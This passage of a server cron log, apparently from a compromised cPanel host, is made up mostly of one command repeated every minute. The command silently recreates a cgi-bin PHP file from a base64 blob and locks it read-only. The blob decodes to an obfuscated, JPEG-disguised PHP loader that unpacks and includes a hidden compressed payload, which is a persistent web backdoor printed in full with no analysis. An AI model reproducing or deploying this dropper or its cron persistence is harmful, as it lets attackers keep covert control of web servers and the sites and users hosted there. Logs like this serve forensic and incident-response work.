ZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:35:01 server CROND[25466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 18:35:01 server CROND[25467]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 18:35:01 server CROND[25469]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 18:35:01 server CROND[25470]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 18:35:01 server CROND[25471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:36:01 server CROND[25645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:37:01 server CROND[25728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:38:01 server CROND[25803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:39:01 server CROND[25979]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 18:39:01 server CROND[25980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:40:01 server CROND[26054]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 18:40:01 server CROND[26055]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 18:40:01 server CROND[26056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 18:40:01 server CROND[26057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:41:01 server CROND[26182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:42:02 server CROND[26254]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 18:42:02 server CROND[26256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:43:01 server CROND[26319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:44:01 server CROND[26480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:45:01 server CROND[26548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:45:01 server CROND[26549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 18:45:01 server CROND[26550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 18:46:01 server CROND[26668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:47:01 server CROND[26763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:48:01 server CROND[26831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRk